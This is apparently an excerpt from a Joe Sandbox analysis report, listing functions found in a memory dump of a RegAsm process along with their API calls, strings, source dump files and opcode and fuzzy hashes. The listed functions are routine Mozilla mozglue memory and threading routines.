Part of subcall function 6CC5D850: EnterCriticalSection.KERNEL32(?), ref: 6CC5D904
Part of subcall function 6CC5D850: LeaveCriticalSection.KERNEL32(?), ref: 6CC5D971
Part of subcall function 6CC5D850: memset.VCRUNTIME140(?,00000000,?), ref: 6CC5D97B

mozalloc_abort.MOZGLUE(?), ref: 6CC3F209

Strings

d, xrefs: 6CC3F1F5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: df8e5fdf48507bb3c2e8b4c94b5a76040842cdc182b91fb6aa490ecaee76c7dc
Instruction ID: de78870f37434729b43fe0949190a74e1900eaee826bdaddedab6d7d3787a296
Opcode Fuzzy Hash: df8e5fdf48507bb3c2e8b4c94b5a76040842cdc182b91fb6aa490ecaee76c7dc
Instruction Fuzzy Hash: E4116A32A0564A8ADB008F58A9611EEB379DF46308B01666DDC09AB612FB319DC4C384

Function 6CC4CA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6CC4CA26

Part of subcall function 6CC4CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CC4CB49
Part of subcall function 6CC4CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CC4CBB6

mozalloc_abort.MOZGLUE(?), ref: 6CC4CAA2

Strings

d, xrefs: 6CC4CA6C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 9027f9a66e653f80fd9b8a4b6be042fb1ae24386a03f8acab6eef999a1b928d8
Instruction ID: 1e6f71fb730b43117c68267fb6650b283ab3549e47eb6c48c4185cb8c4394ddc
Opcode Fuzzy Hash: 9027f9a66e653f80fd9b8a4b6be042fb1ae24386a03f8acab6eef999a1b928d8
Instruction Fuzzy Hash: D111E122E04A8897DB01DBACD8540FEB774EF96708B45D329DC45A7622FB30A9C8C380

Function 6CC73CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC73D19
mozalloc_abort.MOZGLUE(?), ref: 6CC73D6C

Strings

d, xrefs: 6CC73D58

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 416bca0af1ac61ca75d065cc2e30dede65d3ea21d00a79466742252f954214e0
Instruction ID: 59cc09f05beffdbb9a0374653c439a6db4443a2522b4601e42e9718ab6cda2e4
Opcode Fuzzy Hash: 416bca0af1ac61ca75d065cc2e30dede65d3ea21d00a79466742252f954214e0
Instruction Fuzzy Hash: 6711E335E14688DBDB109BADD9184EDB775EFA6318B48835DEC459B602FB30A9C4C3A0

Function 6CC51A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6CC51A6B

Part of subcall function 6CC51AF0: EnterCriticalSection.KERNEL32(?), ref: 6CC51C36

mozalloc_abort.MOZGLUE(?), ref: 6CC51AE7

Strings

d, xrefs: 6CC51AB1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 1b9ab47f90715433fc9134184ad3c4b297e3ea17820c881078ca5aab97218fc7
Instruction ID: 086a03ee7bc2d264eb39d3cf788fd956dcbc2664334e350ae224a1eab388a418
Opcode Fuzzy Hash: 1b9ab47f90715433fc9134184ad3c4b297e3ea17820c881078ca5aab97218fc7
Instruction Fuzzy Hash: F011E026E0068897DB058FACD8184EEB779EF95708F848619ED466B612FB30A9D4C390

Function 6CC44730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CC444B2,6CCBE21C,6CCBF7F8), ref: 6CC4473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CC4474A

Strings

GetNtLoaderAPI, xrefs: 6CC44744

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 9739b3c3b9c34c6b8508ae37254be2f2f2c8b9250847a395cb2819cd14a673ca
Instruction ID: 0d0b0325f667d34a19ef1581cd932b4c2e2827235047b24edfb6c83d397035c1
Opcode Fuzzy Hash: 9739b3c3b9c34c6b8508ae37254be2f2f2c8b9250847a395cb2819cd14a673ca
Instruction Fuzzy Hash: 7801B1793002549FDF049FAAC88461D7BF9FB8B311B158069E905C7310EB74E802CFA6

Function 6CC96DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC96E22
__Init_thread_footer.LIBCMT ref: 6CC96E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC96E1D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4907150013b7fc4b00baad695dcff81ef010fc59abd9fee6b10eeedbb58e756f
Instruction ID: a4f688afb900f977fe161ac2993a8c0edd2871542622187077287f70f40ca24e
Opcode Fuzzy Hash: 4907150013b7fc4b00baad695dcff81ef010fc59abd9fee6b10eeedbb58e756f
Instruction Fuzzy Hash: E5F02E3C208642CFDA008BECC990A823372A793218F0401A5CC4086FA1F770E906CAEB

Function 6CC49E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CC49EEF

Strings

Infinity, xrefs: 6CC49EB7
NaN, xrefs: 6CC49EC1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 993fb1a65b0747ff0fc3f787f5c7391251036d69caf5bad3438122cd62058254
Instruction ID: efc1bf6c3d9d8937db2fadcef62aa9df98f14f5c9ed646079593f7db12da6dbc
Opcode Fuzzy Hash: 993fb1a65b0747ff0fc3f787f5c7391251036d69caf5bad3438122cd62058254
Instruction Fuzzy Hash: EDF0497D640641CEDB008FF9EA4AB923371B787319F208A99C6041BB40F7B56646CB8A

Function 6CC95900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6CCB51C8), ref: 6CC9591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6CC9592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6CC95915

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: a336fefcc519144e93864fa602226c08b3fa056ca98327de2443af83924f0bce
Instruction ID: 339ea782cf287c118b4153d75acd24f5c31eb027c6ee305781162c1ac8bf9d22
Opcode Fuzzy Hash: a336fefcc519144e93864fa602226c08b3fa056ca98327de2443af83924f0bce
Instruction Fuzzy Hash: BBE04830205240BBEB004BE8C5487457FF89B1772AF144644F569D7ED1D3B598418795

Function 6CC4BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CC4BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CC4BEF5

Strings

cryptbase.dll, xrefs: 6CC4BEF0

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: d32b1f7f5b01e521b10a2b80484d80bbdc039c1c6f88ec9ea0f730d71fcd3e61
Instruction ID: 011b58f92c8a1e79a370ef0226780a45d1fec940691ca01229a66f85911a1f9a
Opcode Fuzzy Hash: d32b1f7f5b01e521b10a2b80484d80bbdc039c1c6f88ec9ea0f730d71fcd3e61
Instruction Fuzzy Hash: D0D022322C4A48EBCB00ABE08C2AF2D3BB8A712325F10C020F30594CA1E7B0A410CF98

Function 6CC350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CC34E9C,?,?,?,?,?), ref: 6CC3510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CC34E9C,?,?,?,?,?), ref: 6CC35167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CC35196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CC34E9C), ref: 6CC35234

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 68aaadce41f194fe15c1618fa8afda310899862de40645545528940ef4927389
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 6C919D75505626CFCB14CF08D490A56BBB1FF89318B298688DC599B715E772FC82CBE0

Function 6CC708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC70918
LeaveCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC709A6
EnterCriticalSection.KERNEL32(6CCBE7DC,?,00000000), ref: 6CC709F3
LeaveCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC70ACB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 514945f0099e71a1b6c5d2a19c7781b4b856f94f01ee2e730ddb138a9b7de064
Instruction ID: 78a44644e9a296e125ba38fd93488956ac760f5d61c2897166dde20c251322e3
Opcode Fuzzy Hash: 514945f0099e71a1b6c5d2a19c7781b4b856f94f01ee2e730ddb138a9b7de064
Instruction Fuzzy Hash: 44514A367016508FEF149AAAC49462673B1FBC2B34B25817ED865A7F80F732E84187E4

Function 6CC959C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6CC6E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6CC95A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6CC6E56A,?,|UrlbarCSSSpan), ref: 6CC95A5C
free.MOZGLUE(?), ref: 6CC95A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6CC95B9D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 1f0cd7bfb18409896c1bb4dacdd783245d3bac3c1d0fcd84d5427013d87bda5f
Instruction ID: da49d115dc4add6f80abea42ec90199b0fed30b5ddc2bee46991e0b7d608392c
Opcode Fuzzy Hash: 1f0cd7bfb18409896c1bb4dacdd783245d3bac3c1d0fcd84d5427013d87bda5f
Instruction Fuzzy Hash: 6E514F706087409FD701CF29C8C062AF7E5FF8A319F04CA6DE8899B646EB74D945CB66

Function 6CC8B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CC8B2C9,?,?,?,6CC8B127,?,?,?,?,?,?,?,?,?,6CC8AE52), ref: 6CC8B628

Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC890FF
Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC8B2C9,?,?,?,6CC8B127,?,?,?,?,?,?,?,?,?,6CC8AE52), ref: 6CC8B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC8B2C9,?,?,?,6CC8B127,?,?,?,?,?,?,?,?,?,6CC8AE52), ref: 6CC8B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CC8B127,?,?,?,?,?,?,?,?), ref: 6CC8B74D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c66a745af5927c0317225de55ecf81d470cf91db3572232835a7805d7c461940
Instruction ID: bbcee1d273a83f657d9933ef574e51e4c8dfb50bcfe507a3e12f772b2dac7e34
Opcode Fuzzy Hash: c66a745af5927c0317225de55ecf81d470cf91db3572232835a7805d7c461940
Instruction Fuzzy Hash: 9251CD71A067168BDF18CF58C9A066FBBB1FF45308F55852DD85AAB710EB31E804CBA1

Function 6CC8DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC7FF2A), ref: 6CC8DFFD

Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC890FF
Part of subcall function 6CC890E0: free.MOZGLUE(?,00000000,?,?,6CC8DEDB), ref: 6CC89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC7FF2A), ref: 6CC8E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC7FF2A), ref: 6CC8E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CC7FF2A), ref: 6CC8E0FE

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 109519bfd85cd8d0a685649128bc63d06de12dfd4c816c85453c06ddbf1b9107
Instruction ID: 01a554ee563d53cbded722171d6f67002b4da27a42a3332fcc1752bbea3c1e37
Opcode Fuzzy Hash: 109519bfd85cd8d0a685649128bc63d06de12dfd4c816c85453c06ddbf1b9107
Instruction Fuzzy Hash: 5741AFB96062168BEB14CF68D88035B7BB6BB4630CF24493DD516DB740F732E906CB92

Function 6CC96180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CC961DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CC9622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC96250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC96292

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 9208c1cfadfc6372149069bbe754d522fc33fedafc017f82a91c00f8340f5e44
Instruction ID: d30eeedc67ff11d667fea68e57b8c4c92937670672f09217949a2db96eb5b86d
Opcode Fuzzy Hash: 9208c1cfadfc6372149069bbe754d522fc33fedafc017f82a91c00f8340f5e44
Instruction Fuzzy Hash: 3B310671A00E0A8FDB04CF28D880AAA73F9FB95308F11453AD55AD7691FB31E598C791

Function 6CC86E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CC86EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CC86EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC86F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC86F5C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8993a7da8df1a7a4f61039b7f7d584e57bb3e96bec047d6851481120ae3c607d
Instruction ID: f92bda0adf23ef619728820f18ed3dfedfdd264b6541c3692d680f90dc29fac6
Opcode Fuzzy Hash: 8993a7da8df1a7a4f61039b7f7d584e57bb3e96bec047d6851481120ae3c607d
Instruction Fuzzy Hash: A831F471A21A0A8FDB04CF2CD941AAB77E9BB85308F504139D41AC7651FB31E55987A0

Function 6CC9B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CC40A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC9B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CC40A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC9B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC40A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC9B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6CC40A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC9B67F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 28155cc96a5ca25e9f0873547401c030d17c6c7a31407e9074f16611fd0ce82b
Instruction ID: 6f6460a7818f944e815297a6f9d8ae038752eea0be424160601919ecc5d8875f
Opcode Fuzzy Hash: 28155cc96a5ca25e9f0873547401c030d17c6c7a31407e9074f16611fd0ce82b
Instruction Fuzzy Hash: B2312771A002169FDB28CF59C85465ABBF5FF81304F16852AD806DB311EB31F915CBE0

Function 6CC6F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CC6F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CC6F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CC6F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CC6F668

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9062c10da60e88d4b4e8d0efcbe617984d9e0f302326ccdef4ce1be6516e5483
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C5315E71A00214AFC714CF5ACDC4A9A77B5FB84354B14853DEA4A8BF04E632ED458B90

